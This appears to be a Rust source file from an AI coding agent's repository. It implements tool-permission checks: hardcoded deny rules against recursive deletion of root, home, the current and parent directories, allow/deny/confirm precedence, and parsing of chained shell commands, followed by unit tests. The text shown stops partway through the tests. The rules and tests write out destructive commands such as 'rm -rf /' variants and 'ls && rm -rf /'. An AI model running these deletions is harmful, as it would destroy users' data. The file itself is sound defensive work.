Skip to repository content

tenant.openagents/omega

No repository description is available.

OpenAgents Git authority 2026-07-28T04:37:36.879Z Public web read
NIP-34 coordinate30617:7649603503856e5148d571eac2766b288a8ff1e9e35d380337a1d2b0015b4f92:omega
MaintainersHidden in public view
References2 branches · 1 tag
Read-only clonegit clone https://openagents.com/git/tenant.openagents/omega.git
Browse files

tool_permissions.rs

2419 lines · 82.9 KB · rust
1use crate::AgentTool;
2use crate::tools::TerminalTool;
3use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
4use settings::ToolPermissionMode;
5use shell_command_parser::{
6    TerminalCommandValidation, extract_commands, validate_terminal_command,
7};
8use std::path::{Component, Path};
9use std::sync::LazyLock;
10use util::shell::ShellKind;
11
12const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
13     harmful to be allowed, and cannot be overridden by settings.";
14const INVALID_TERMINAL_COMMAND_MESSAGE: &str = "The terminal command could not be approved because terminal does not \
15     allow shell substitutions or interpolations in permission-protected commands. Forbidden examples include $VAR, \
16     ${VAR}, $(...), backticks, $((...)), <(...), and >(...). Resolve those values before calling terminal, or ask \
17     the user for the literal value to use.";
18
19/// Security rules that are always enforced and cannot be overridden by any setting.
20/// These protect against catastrophic operations like wiping filesystems.
21pub struct HardcodedSecurityRules {
22    pub terminal_deny: Vec<CompiledRegex>,
23}
24
25pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
26    // Flag group matches any short flags (-rf, -rfv, -v, etc.) or long flags (--recursive, --force, etc.)
27    // This ensures extra flags like -rfv, -v -rf, --recursive --force don't bypass the rules.
28    const FLAGS: &str = r"(--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?\s+|-[a-zA-Z]+\s+)*";
29    // Trailing flags that may appear after the path operand (GNU rm accepts flags after operands)
30    const TRAILING_FLAGS: &str = r"(\s+--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?|\s+-[a-zA-Z]+)*\s*";
31
32    HardcodedSecurityRules {
33        terminal_deny: vec![
34            // Recursive deletion of root - "rm -rf /", "rm -rfv /", "rm -rf /*", "rm / -rf"
35            CompiledRegex::new(
36                &format!(r"\brm\s+{FLAGS}(--\s+)?/\*?{TRAILING_FLAGS}$"),
37                false,
38            )
39            .expect("hardcoded regex should compile"),
40            // Recursive deletion of home - "rm -rf ~" or "rm -rf ~/" or "rm -rf ~/*" or "rm ~ -rf" (but not ~/subdir)
41            CompiledRegex::new(
42                &format!(r"\brm\s+{FLAGS}(--\s+)?~/?\*?{TRAILING_FLAGS}$"),
43                false,
44            )
45            .expect("hardcoded regex should compile"),
46            // Recursive deletion of home via $HOME - "rm -rf $HOME" or "rm -rf ${HOME}" or "rm $HOME -rf" or with /*
47            CompiledRegex::new(
48                &format!(r"\brm\s+{FLAGS}(--\s+)?(\$HOME|\$\{{HOME\}})/?(\*)?{TRAILING_FLAGS}$"),
49                false,
50            )
51            .expect("hardcoded regex should compile"),
52            // Recursive deletion of current directory - "rm -rf ." or "rm -rf ./" or "rm -rf ./*" or "rm . -rf"
53            CompiledRegex::new(
54                &format!(r"\brm\s+{FLAGS}(--\s+)?\./?\*?{TRAILING_FLAGS}$"),
55                false,
56            )
57            .expect("hardcoded regex should compile"),
58            // Recursive deletion of parent directory - "rm -rf .." or "rm -rf ../" or "rm -rf ../*" or "rm .. -rf"
59            CompiledRegex::new(
60                &format!(r"\brm\s+{FLAGS}(--\s+)?\.\./?\*?{TRAILING_FLAGS}$"),
61                false,
62            )
63            .expect("hardcoded regex should compile"),
64        ],
65    }
66});
67
68/// Checks if input matches any hardcoded security rules that cannot be bypassed.
69/// Returns a Deny decision if blocked, None otherwise.
70fn check_hardcoded_security_rules(
71    tool_name: &str,
72    inputs: &[String],
73    shell_kind: ShellKind,
74) -> Option<ToolPermissionDecision> {
75    // Currently only terminal tool has hardcoded rules
76    if tool_name != TerminalTool::NAME {
77        return None;
78    }
79
80    let rules = &*HARDCODED_SECURITY_RULES;
81    let terminal_patterns = &rules.terminal_deny;
82
83    for input in inputs {
84        // First: check the original input as-is (and its path-normalized form)
85        if matches_hardcoded_patterns(input, terminal_patterns) {
86            return Some(ToolPermissionDecision::Deny(
87                HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
88            ));
89        }
90
91        // Second: parse and check individual sub-commands (for chained commands)
92        if shell_kind.supports_posix_chaining() {
93            if let Some(commands) = extract_commands(input) {
94                for command in &commands {
95                    if matches_hardcoded_patterns(command, terminal_patterns) {
96                        return Some(ToolPermissionDecision::Deny(
97                            HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
98                        ));
99                    }
100                }
101            }
102        }
103    }
104
105    None
106}
107
108/// Checks a single command against hardcoded patterns, both as-is and with
109/// path arguments normalized (to catch traversal bypasses like `rm -rf /tmp/../../`
110/// and multi-path bypasses like `rm -rf /tmp /`).
111fn matches_hardcoded_patterns(command: &str, patterns: &[CompiledRegex]) -> bool {
112    for pattern in patterns {
113        if pattern.is_match(command) {
114            return true;
115        }
116    }
117
118    for expanded in expand_rm_to_single_path_commands(command) {
119        for pattern in patterns {
120            if pattern.is_match(&expanded) {
121                return true;
122            }
123        }
124    }
125
126    false
127}
128
129/// For rm commands, expands multi-path arguments into individual single-path
130/// commands with normalized paths. This catches both traversal bypasses like
131/// `rm -rf /tmp/../../` and multi-path bypasses like `rm -rf /tmp /`.
132fn expand_rm_to_single_path_commands(command: &str) -> Vec<String> {
133    let trimmed = command.trim();
134
135    let first_token = trimmed.split_whitespace().next();
136    if !first_token.is_some_and(|t| t.eq_ignore_ascii_case("rm")) {
137        return vec![];
138    }
139
140    let parts: Vec<&str> = trimmed.split_whitespace().collect();
141    let mut flags = Vec::new();
142    let mut paths = Vec::new();
143    let mut past_double_dash = false;
144
145    for part in parts.iter().skip(1) {
146        if !past_double_dash && *part == "--" {
147            past_double_dash = true;
148            flags.push(*part);
149            continue;
150        }
151        if !past_double_dash && part.starts_with('-') {
152            flags.push(*part);
153        } else {
154            paths.push(*part);
155        }
156    }
157
158    let flags_str = if flags.is_empty() {
159        String::new()
160    } else {
161        format!("{} ", flags.join(" "))
162    };
163
164    let mut results = Vec::new();
165    for path in &paths {
166        if path.starts_with('$') {
167            let home_prefix = if path.starts_with("${HOME}") {
168                Some("${HOME}")
169            } else if path.starts_with("$HOME") {
170                Some("$HOME")
171            } else {
172                None
173            };
174
175            if let Some(prefix) = home_prefix {
176                let suffix = &path[prefix.len()..];
177                if suffix.is_empty() {
178                    results.push(format!("rm {flags_str}{path}"));
179                } else if suffix.starts_with('/') {
180                    let normalized_suffix = normalize_path(suffix);
181                    let reconstructed = if normalized_suffix == "/" {
182                        prefix.to_string()
183                    } else {
184                        format!("{prefix}{normalized_suffix}")
185                    };
186                    results.push(format!("rm {flags_str}{reconstructed}"));
187                } else {
188                    results.push(format!("rm {flags_str}{path}"));
189                }
190            } else {
191                results.push(format!("rm {flags_str}{path}"));
192            }
193            continue;
194        }
195
196        let mut normalized = normalize_path(path);
197        if normalized.is_empty() && !Path::new(path).has_root() {
198            normalized = ".".to_string();
199        }
200
201        results.push(format!("rm {flags_str}{normalized}"));
202    }
203
204    results
205}
206
207#[derive(Debug, Clone, PartialEq, Eq)]
208pub enum ToolPermissionDecision {
209    Allow,
210    Deny(String),
211    Confirm,
212}
213
214impl ToolPermissionDecision {
215    /// Determines the permission decision for a tool invocation based on configured rules.
216    ///
217    /// # Precedence Order (highest to lowest)
218    ///
219    /// 1. **Hardcoded security rules** - Critical safety checks (e.g., blocking `rm -rf /`)
220    ///    that cannot be bypassed by any user settings.
221    /// 2. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
222    ///    This takes precedence over `always_confirm` and `always_allow` patterns.
223    /// 3. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
224    ///    the user is prompted for confirmation.
225    /// 4. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
226    ///    the tool call proceeds without prompting.
227    /// 5. **Tool-specific `default`** - If no patterns match and the tool has an explicit
228    ///    `default` configured, that mode is used.
229    /// 6. **Global `default`** - Falls back to `tool_permissions.default` when no
230    ///    tool-specific default is set, or when the tool has no entry at all.
231    ///
232    /// # Shell Compatibility (Terminal Tool Only)
233    ///
234    /// For the terminal tool, commands are parsed to extract sub-commands for security.
235    /// All currently supported `ShellKind` variants are treated as compatible because
236    /// brush-parser can handle their command chaining syntax. If a new `ShellKind`
237    /// variant is added that brush-parser cannot safely parse, it should be excluded
238    /// from `ShellKind::supports_posix_chaining()`, which will cause `always_allow`
239    /// patterns to be disabled for that shell.
240    ///
241    /// # Pattern Matching Tips
242    ///
243    /// Patterns are matched as regular expressions against the tool input (e.g., the command
244    /// string for the terminal tool). Some tips for writing effective patterns:
245    ///
246    /// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
247    ///   match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
248    ///   This is important for security rules where you want to block specific commands
249    ///   without accidentally blocking unrelated commands that happen to contain the same
250    ///   substring.
251    /// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
252    /// - Use `^` and `$` anchors to match the start/end of the input.
253    pub fn from_input(
254        tool_name: &str,
255        inputs: &[String],
256        permissions: &ToolPermissions,
257        shell_kind: ShellKind,
258    ) -> ToolPermissionDecision {
259        // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
260        // These cannot be bypassed by any user settings.
261        if let Some(denial) = check_hardcoded_security_rules(tool_name, inputs, shell_kind) {
262            return denial;
263        }
264
265        let rules = permissions.tools.get(tool_name);
266
267        // Check for invalid regex patterns before evaluating rules.
268        // If any patterns failed to compile, block the tool call entirely.
269        if let Some(error) = rules.and_then(|rules| check_invalid_patterns(tool_name, rules)) {
270            return ToolPermissionDecision::Deny(error);
271        }
272
273        if tool_name == TerminalTool::NAME
274            && !rules.map_or(
275                matches!(permissions.default, ToolPermissionMode::Allow),
276                |rules| is_unconditional_allow_all(rules, permissions.default),
277            )
278            && inputs.iter().any(|input| {
279                matches!(
280                    validate_terminal_command(input),
281                    TerminalCommandValidation::Unsafe | TerminalCommandValidation::Unsupported
282                )
283            })
284        {
285            return ToolPermissionDecision::Deny(INVALID_TERMINAL_COMMAND_MESSAGE.into());
286        }
287
288        let rules = match rules {
289            Some(rules) => rules,
290            None => {
291                // No tool-specific rules, use the global default
292                return match permissions.default {
293                    ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
294                    ToolPermissionMode::Deny => {
295                        ToolPermissionDecision::Deny("Blocked by global default: deny".into())
296                    }
297                    ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
298                };
299            }
300        };
301
302        // For the terminal tool, parse each input command to extract all sub-commands.
303        // This prevents shell injection attacks where a user configures an allow
304        // pattern like "^ls" and an attacker crafts "ls && rm -rf /".
305        //
306        // If parsing fails or the shell syntax is unsupported, always_allow is
307        // disabled for this command (we set allow_enabled to false to signal this).
308        if tool_name == TerminalTool::NAME {
309            // Our shell parser (brush-parser) only supports POSIX-like shell syntax.
310            // See the doc comment above for the list of compatible/incompatible shells.
311            if !shell_kind.supports_posix_chaining() {
312                // For shells with incompatible syntax, we can't reliably parse
313                // the command to extract sub-commands.
314                if !rules.always_allow.is_empty() {
315                    // If the user has configured always_allow patterns, we must deny
316                    // because we can't safely verify the command doesn't contain
317                    // hidden sub-commands that bypass the allow patterns.
318                    return ToolPermissionDecision::Deny(format!(
319                        "The {} shell does not support \"always allow\" patterns for the terminal \
320                         tool because Omega cannot parse its command chaining syntax. Please remove \
321                         the always_allow patterns from your tool_permissions settings, or switch \
322                         to a POSIX-conforming shell.",
323                        shell_kind
324                    ));
325                }
326                // No always_allow rules, so we can still check deny/confirm patterns.
327                return check_commands(
328                    inputs.iter().map(|s| s.to_string()),
329                    rules,
330                    tool_name,
331                    false,
332                    permissions.default,
333                );
334            }
335
336            // Expand each input into its sub-commands and check them all together.
337            let mut all_commands = Vec::new();
338            let mut any_parse_failed = false;
339            for input in inputs {
340                match extract_commands(input) {
341                    Some(commands) => all_commands.extend(commands),
342                    None => {
343                        any_parse_failed = true;
344                        all_commands.push(input.to_string());
345                    }
346                }
347            }
348            // If any command failed to parse, disable allow patterns for safety.
349            check_commands(
350                all_commands,
351                rules,
352                tool_name,
353                !any_parse_failed,
354                permissions.default,
355            )
356        } else {
357            check_commands(
358                inputs.iter().map(|s| s.to_string()),
359                rules,
360                tool_name,
361                true,
362                permissions.default,
363            )
364        }
365    }
366}
367
368/// Evaluates permission rules against a set of commands.
369///
370/// This function performs a single pass through all commands with the following logic:
371/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
372/// - **CONFIRM**: Track if ANY command matches a confirm pattern
373/// - **ALLOW**: Track if ALL commands match at least one allow pattern
374///
375/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
376/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
377/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
378fn check_commands(
379    commands: impl IntoIterator<Item = String>,
380    rules: &ToolRules,
381    tool_name: &str,
382    allow_enabled: bool,
383    global_default: ToolPermissionMode,
384) -> ToolPermissionDecision {
385    // Single pass through all commands:
386    // - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
387    // - CONFIRM: Track if ANY command matches a confirm pattern
388    // - ALLOW: Track if ALL commands match at least one allow pattern
389    let mut any_matched_confirm = false;
390    let mut all_matched_allow = true;
391    let mut had_any_commands = false;
392
393    for command in commands {
394        had_any_commands = true;
395
396        // DENY: immediate return if any command matches a deny pattern
397        if rules.always_deny.iter().any(|r| r.is_match(&command)) {
398            return ToolPermissionDecision::Deny(format!(
399                "Command blocked by security rule for {} tool",
400                tool_name
401            ));
402        }
403
404        // CONFIRM: remember if any command matches a confirm pattern
405        if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
406            any_matched_confirm = true;
407        }
408
409        // ALLOW: track if all commands match at least one allow pattern
410        if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
411            all_matched_allow = false;
412        }
413    }
414
415    // After processing all commands, check accumulated state
416    if any_matched_confirm {
417        return ToolPermissionDecision::Confirm;
418    }
419
420    if allow_enabled && all_matched_allow && had_any_commands {
421        return ToolPermissionDecision::Allow;
422    }
423
424    match rules.default.unwrap_or(global_default) {
425        ToolPermissionMode::Deny => {
426            ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
427        }
428        ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
429        ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
430    }
431}
432
433fn is_unconditional_allow_all(rules: &ToolRules, global_default: ToolPermissionMode) -> bool {
434    // `always_allow` is intentionally not checked here: when the effective default
435    // is already Allow and there are no deny/confirm restrictions, allow patterns
436    // are redundant — the user has opted into allowing everything.
437    rules.always_deny.is_empty()
438        && rules.always_confirm.is_empty()
439        && matches!(
440            rules.default.unwrap_or(global_default),
441            ToolPermissionMode::Allow
442        )
443}
444
445/// Checks if the tool rules contain any invalid regex patterns.
446/// Returns an error message if invalid patterns are found.
447fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
448    if rules.invalid_patterns.is_empty() {
449        return None;
450    }
451
452    let count = rules.invalid_patterns.len();
453    let pattern_word = if count == 1 { "pattern" } else { "patterns" };
454
455    Some(format!(
456        "The {} tool cannot run because {} regex {} failed to compile. \
457         Please fix the invalid patterns in your tool_permissions settings.",
458        tool_name, count, pattern_word
459    ))
460}
461
462/// Convenience wrapper that extracts permission settings from `AgentSettings`.
463///
464/// This is the primary entry point for tools to check permissions. It extracts
465/// `tool_permissions` from the settings and
466/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
467pub fn decide_permission_from_settings(
468    tool_name: &str,
469    inputs: &[String],
470    settings: &AgentSettings,
471) -> ToolPermissionDecision {
472    ToolPermissionDecision::from_input(
473        tool_name,
474        inputs,
475        &settings.tool_permissions,
476        ShellKind::system(),
477    )
478}
479
480/// Normalizes a path by collapsing `.` and `..` segments without touching the filesystem.
481pub fn normalize_path(raw: &str) -> String {
482    let is_absolute = Path::new(raw).has_root();
483    let mut components: Vec<&str> = Vec::new();
484    for component in Path::new(raw).components() {
485        match component {
486            Component::CurDir => {}
487            Component::ParentDir => {
488                if components.last() == Some(&"..") {
489                    components.push("..");
490                } else if !components.is_empty() {
491                    components.pop();
492                } else if !is_absolute {
493                    components.push("..");
494                }
495            }
496            Component::Normal(segment) => {
497                if let Some(s) = segment.to_str() {
498                    components.push(s);
499                }
500            }
501            Component::RootDir | Component::Prefix(_) => {}
502        }
503    }
504    let joined = components.join("/");
505    if is_absolute {
506        format!("/{joined}")
507    } else {
508        joined
509    }
510}
511
512/// Decides permission by checking both the raw input path and a simplified/canonicalized
513/// version. Returns the most restrictive decision (Deny > Confirm > Allow).
514pub fn decide_permission_for_paths(
515    tool_name: &str,
516    raw_paths: &[String],
517    settings: &AgentSettings,
518) -> ToolPermissionDecision {
519    let raw_inputs: Vec<String> = raw_paths.to_vec();
520    let raw_decision = decide_permission_from_settings(tool_name, &raw_inputs, settings);
521
522    let normalized: Vec<String> = raw_paths.iter().map(|p| normalize_path(p)).collect();
523    let any_changed = raw_paths
524        .iter()
525        .zip(&normalized)
526        .any(|(raw, norm)| raw != norm);
527    if !any_changed {
528        return raw_decision;
529    }
530
531    let normalized_decision = decide_permission_from_settings(tool_name, &normalized, settings);
532
533    most_restrictive(raw_decision, normalized_decision)
534}
535
536pub fn decide_permission_for_path(
537    tool_name: &str,
538    raw_path: &str,
539    settings: &AgentSettings,
540) -> ToolPermissionDecision {
541    decide_permission_for_paths(tool_name, &[raw_path.to_string()], settings)
542}
543
544pub fn most_restrictive(
545    a: ToolPermissionDecision,
546    b: ToolPermissionDecision,
547) -> ToolPermissionDecision {
548    match (&a, &b) {
549        (ToolPermissionDecision::Deny(_), _) => a,
550        (_, ToolPermissionDecision::Deny(_)) => b,
551        (ToolPermissionDecision::Confirm, _) | (_, ToolPermissionDecision::Confirm) => {
552            ToolPermissionDecision::Confirm
553        }
554        _ => a,
555    }
556}
557
558#[cfg(test)]
559mod tests {
560    use super::*;
561    use crate::pattern_extraction::extract_terminal_pattern;
562    use crate::tools::{DeletePathTool, FetchTool, TerminalTool};
563    use crate::{AgentTool, EditFileTool};
564    use agent_settings::{AgentProfileId, CompiledRegex, InvalidRegexPattern, ToolRules};
565    use gpui::px;
566    use settings::{DockPosition, NotifyWhenAgentWaiting, PlaySoundWhenAgentDone};
567    use std::sync::Arc;
568
569    fn test_agent_settings(tool_permissions: ToolPermissions) -> AgentSettings {
570        AgentSettings {
571            enabled: true,
572            button: true,
573            dock: DockPosition::Right,
574            flexible: true,
575            default_width: px(300.),
576            default_height: px(600.),
577            max_content_width: Some(px(850.)),
578            default_model: None,
579            subagent_model: None,
580            inline_assistant_model: None,
581            inline_assistant_use_streaming_tools: false,
582            commit_message_model: None,
583            commit_message_include_project_rules: true,
584            commit_message_instructions: None,
585            thread_summary_model: None,
586            compaction_model: None,
587            inline_alternatives: vec![],
588            favorite_models: vec![],
589            default_profile: AgentProfileId::default(),
590            profiles: Default::default(),
591            notify_when_agent_waiting: NotifyWhenAgentWaiting::default(),
592            play_sound_when_agent_done: PlaySoundWhenAgentDone::default(),
593            single_file_review: false,
594            model_parameters: vec![],
595            auto_compact: agent_settings::AutoCompactSettings {
596                enabled: false,
597                threshold: agent_settings::AutoCompactThreshold::DEFAULT,
598            },
599            enable_feedback: false,
600            expand_edit_card: true,
601            expand_terminal_card: true,
602            terminal_init_command: None,
603            cancel_generation_on_terminal_stop: true,
604            use_modifier_to_send: true,
605            message_editor_min_lines: 1,
606            tool_permissions,
607            sandbox_permissions: Default::default(),
608            show_turn_stats: false,
609            show_merge_conflict_indicator: true,
610            sidebar_side: Default::default(),
611            thinking_display: Default::default(),
612        }
613    }
614
615    fn pattern(command: &str) -> &'static str {
616        Box::leak(
617            extract_terminal_pattern(command)
618                .expect("failed to extract pattern")
619                .into_boxed_str(),
620        )
621    }
622
623    struct PermTest {
624        tool: &'static str,
625        input: &'static str,
626        mode: Option<ToolPermissionMode>,
627        allow: Vec<(&'static str, bool)>,
628        deny: Vec<(&'static str, bool)>,
629        confirm: Vec<(&'static str, bool)>,
630        global_default: ToolPermissionMode,
631        shell: ShellKind,
632    }
633
634    impl PermTest {
635        fn new(input: &'static str) -> Self {
636            Self {
637                tool: TerminalTool::NAME,
638                input,
639                mode: None,
640                allow: vec![],
641                deny: vec![],
642                confirm: vec![],
643                global_default: ToolPermissionMode::Confirm,
644                shell: ShellKind::Posix,
645            }
646        }
647
648        fn tool(mut self, t: &'static str) -> Self {
649            self.tool = t;
650            self
651        }
652        fn mode(mut self, m: ToolPermissionMode) -> Self {
653            self.mode = Some(m);
654            self
655        }
656        fn allow(mut self, p: &[&'static str]) -> Self {
657            self.allow = p.iter().map(|s| (*s, false)).collect();
658            self
659        }
660        fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
661            self.allow = p.iter().map(|s| (*s, true)).collect();
662            self
663        }
664        fn deny(mut self, p: &[&'static str]) -> Self {
665            self.deny = p.iter().map(|s| (*s, false)).collect();
666            self
667        }
668        fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
669            self.deny = p.iter().map(|s| (*s, true)).collect();
670            self
671        }
672        fn confirm(mut self, p: &[&'static str]) -> Self {
673            self.confirm = p.iter().map(|s| (*s, false)).collect();
674            self
675        }
676        fn global_default(mut self, m: ToolPermissionMode) -> Self {
677            self.global_default = m;
678            self
679        }
680        fn shell(mut self, s: ShellKind) -> Self {
681            self.shell = s;
682            self
683        }
684
685        fn is_allow(self) {
686            assert_eq!(
687                self.run(),
688                ToolPermissionDecision::Allow,
689                "expected Allow for '{}'",
690                self.input
691            );
692        }
693        fn is_deny(self) {
694            assert!(
695                matches!(self.run(), ToolPermissionDecision::Deny(_)),
696                "expected Deny for '{}'",
697                self.input
698            );
699        }
700        fn is_confirm(self) {
701            assert_eq!(
702                self.run(),
703                ToolPermissionDecision::Confirm,
704                "expected Confirm for '{}'",
705                self.input
706            );
707        }
708
709        fn run(&self) -> ToolPermissionDecision {
710            let mut tools = collections::HashMap::default();
711            tools.insert(
712                Arc::from(self.tool),
713                ToolRules {
714                    default: self.mode,
715                    always_allow: self
716                        .allow
717                        .iter()
718                        .map(|(p, cs)| {
719                            CompiledRegex::new(p, *cs)
720                                .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
721                        })
722                        .collect(),
723                    always_deny: self
724                        .deny
725                        .iter()
726                        .map(|(p, cs)| {
727                            CompiledRegex::new(p, *cs)
728                                .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
729                        })
730                        .collect(),
731                    always_confirm: self
732                        .confirm
733                        .iter()
734                        .map(|(p, cs)| {
735                            CompiledRegex::new(p, *cs)
736                                .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
737                        })
738                        .collect(),
739                    invalid_patterns: vec![],
740                },
741            );
742            ToolPermissionDecision::from_input(
743                self.tool,
744                &[self.input.to_string()],
745                &ToolPermissions {
746                    default: self.global_default,
747                    tools,
748                },
749                self.shell,
750            )
751        }
752    }
753
754    fn t(input: &'static str) -> PermTest {
755        PermTest::new(input)
756    }
757
758    fn no_rules(input: &str, global_default: ToolPermissionMode) -> ToolPermissionDecision {
759        ToolPermissionDecision::from_input(
760            TerminalTool::NAME,
761            &[input.to_string()],
762            &ToolPermissions {
763                default: global_default,
764                tools: collections::HashMap::default(),
765            },
766            ShellKind::Posix,
767        )
768    }
769
770    // allow pattern matches
771    #[test]
772    fn allow_exact_match() {
773        t("cargo test").allow(&[pattern("cargo")]).is_allow();
774    }
775    #[test]
776    fn allow_one_of_many_patterns() {
777        t("npm install")
778            .allow(&[pattern("cargo"), pattern("npm")])
779            .is_allow();
780        t("git status")
781            .allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
782            .is_allow();
783    }
784    #[test]
785    fn allow_middle_pattern() {
786        t("run cargo now").allow(&["cargo"]).is_allow();
787    }
788    #[test]
789    fn allow_anchor_prevents_middle() {
790        t("run cargo now").allow(&["^cargo"]).is_confirm();
791    }
792
793    // allow pattern doesn't match -> falls through
794    #[test]
795    fn allow_no_match_confirms() {
796        t("python x.py").allow(&[pattern("cargo")]).is_confirm();
797    }
798    #[test]
799    fn allow_no_match_global_allows() {
800        t("python x.py")
801            .allow(&[pattern("cargo")])
802            .global_default(ToolPermissionMode::Allow)
803            .is_allow();
804    }
805    #[test]
806    fn allow_no_match_tool_confirm_overrides_global_allow() {
807        t("python x.py")
808            .allow(&[pattern("cargo")])
809            .mode(ToolPermissionMode::Confirm)
810            .global_default(ToolPermissionMode::Allow)
811            .is_confirm();
812    }
813    #[test]
814    fn allow_no_match_tool_allow_overrides_global_confirm() {
815        t("python x.py")
816            .allow(&[pattern("cargo")])
817            .mode(ToolPermissionMode::Allow)
818            .global_default(ToolPermissionMode::Confirm)
819            .is_allow();
820    }
821
822    // deny pattern matches (using commands that aren't blocked by hardcoded rules)
823    #[test]
824    fn deny_blocks() {
825        t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
826    }
827    // global default: allow does NOT bypass user-configured deny rules
828    #[test]
829    fn deny_not_bypassed_by_global_default_allow() {
830        t("rm -rf ./temp")
831            .deny(&["rm\\s+-rf"])
832            .global_default(ToolPermissionMode::Allow)
833            .is_deny();
834    }
835    #[test]
836    fn deny_blocks_with_mode_allow() {
837        t("rm -rf ./temp")
838            .deny(&["rm\\s+-rf"])
839            .mode(ToolPermissionMode::Allow)
840            .is_deny();
841    }
842    #[test]
843    fn deny_middle_match() {
844        t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
845    }
846    #[test]
847    fn deny_no_match_falls_through() {
848        t("ls -la")
849            .deny(&["rm\\s+-rf"])
850            .mode(ToolPermissionMode::Allow)
851            .is_allow();
852    }
853
854    // confirm pattern matches
855    #[test]
856    fn confirm_requires_confirm() {
857        t("sudo apt install")
858            .confirm(&[pattern("sudo")])
859            .is_confirm();
860    }
861    // global default: allow does NOT bypass user-configured confirm rules
862    #[test]
863    fn global_default_allow_does_not_override_confirm_pattern() {
864        t("sudo reboot")
865            .confirm(&[pattern("sudo")])
866            .global_default(ToolPermissionMode::Allow)
867            .is_confirm();
868    }
869    #[test]
870    fn confirm_overrides_mode_allow() {
871        t("sudo x")
872            .confirm(&["sudo"])
873            .mode(ToolPermissionMode::Allow)
874            .is_confirm();
875    }
876
877    // confirm beats allow
878    #[test]
879    fn confirm_beats_allow() {
880        t("git push --force")
881            .allow(&[pattern("git")])
882            .confirm(&["--force"])
883            .is_confirm();
884    }
885    #[test]
886    fn confirm_beats_allow_overlap() {
887        t("deploy prod")
888            .allow(&["deploy"])
889            .confirm(&["prod"])
890            .is_confirm();
891    }
892    #[test]
893    fn allow_when_confirm_no_match() {
894        t("git status")
895            .allow(&[pattern("git")])
896            .confirm(&["--force"])
897            .is_allow();
898    }
899
900    // deny beats allow
901    #[test]
902    fn deny_beats_allow() {
903        t("rm -rf ./tmp/x")
904            .allow(&["/tmp/"])
905            .deny(&["rm\\s+-rf"])
906            .is_deny();
907    }
908
909    #[test]
910    fn deny_beats_confirm() {
911        t("sudo rm -rf ./temp")
912            .confirm(&["sudo"])
913            .deny(&["rm\\s+-rf"])
914            .is_deny();
915    }
916
917    // deny beats everything
918    #[test]
919    fn deny_beats_all() {
920        t("bad cmd")
921            .allow(&["cmd"])
922            .confirm(&["cmd"])
923            .deny(&["bad"])
924            .is_deny();
925    }
926
927    // no patterns -> default
928    #[test]
929    fn default_confirm() {
930        t("python x.py")
931            .mode(ToolPermissionMode::Confirm)
932            .is_confirm();
933    }
934    #[test]
935    fn default_allow() {
936        t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
937    }
938    #[test]
939    fn default_deny() {
940        t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
941    }
942    // Tool-specific default takes precedence over global default
943    #[test]
944    fn tool_default_deny_overrides_global_allow() {
945        t("python x.py")
946            .mode(ToolPermissionMode::Deny)
947            .global_default(ToolPermissionMode::Allow)
948            .is_deny();
949    }
950
951    // Tool-specific default takes precedence over global default
952    #[test]
953    fn tool_default_confirm_overrides_global_allow() {
954        t("x")
955            .mode(ToolPermissionMode::Confirm)
956            .global_default(ToolPermissionMode::Allow)
957            .is_confirm();
958    }
959
960    #[test]
961    fn no_rules_uses_global_default() {
962        assert_eq!(
963            no_rules("x", ToolPermissionMode::Confirm),
964            ToolPermissionDecision::Confirm
965        );
966        assert_eq!(
967            no_rules("x", ToolPermissionMode::Allow),
968            ToolPermissionDecision::Allow
969        );
970        assert!(matches!(
971            no_rules("x", ToolPermissionMode::Deny),
972            ToolPermissionDecision::Deny(_)
973        ));
974    }
975
976    #[test]
977    fn empty_input_no_match() {
978        t("")
979            .deny(&["rm"])
980            .mode(ToolPermissionMode::Allow)
981            .is_allow();
982    }
983
984    #[test]
985    fn empty_input_with_allow_falls_to_default() {
986        t("").allow(&["^ls"]).is_confirm();
987    }
988
989    #[test]
990    fn multi_deny_any_match() {
991        t("rm x").deny(&["rm", "del", "drop"]).is_deny();
992        t("drop x").deny(&["rm", "del", "drop"]).is_deny();
993    }
994
995    #[test]
996    fn multi_allow_any_match() {
997        t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
998    }
999    #[test]
1000    fn multi_none_match() {
1001        t("python x")
1002            .allow(&["^cargo", "^npm"])
1003            .deny(&["rm"])
1004            .is_confirm();
1005    }
1006
1007    // tool isolation
1008    #[test]
1009    fn other_tool_not_affected() {
1010        let mut tools = collections::HashMap::default();
1011        tools.insert(
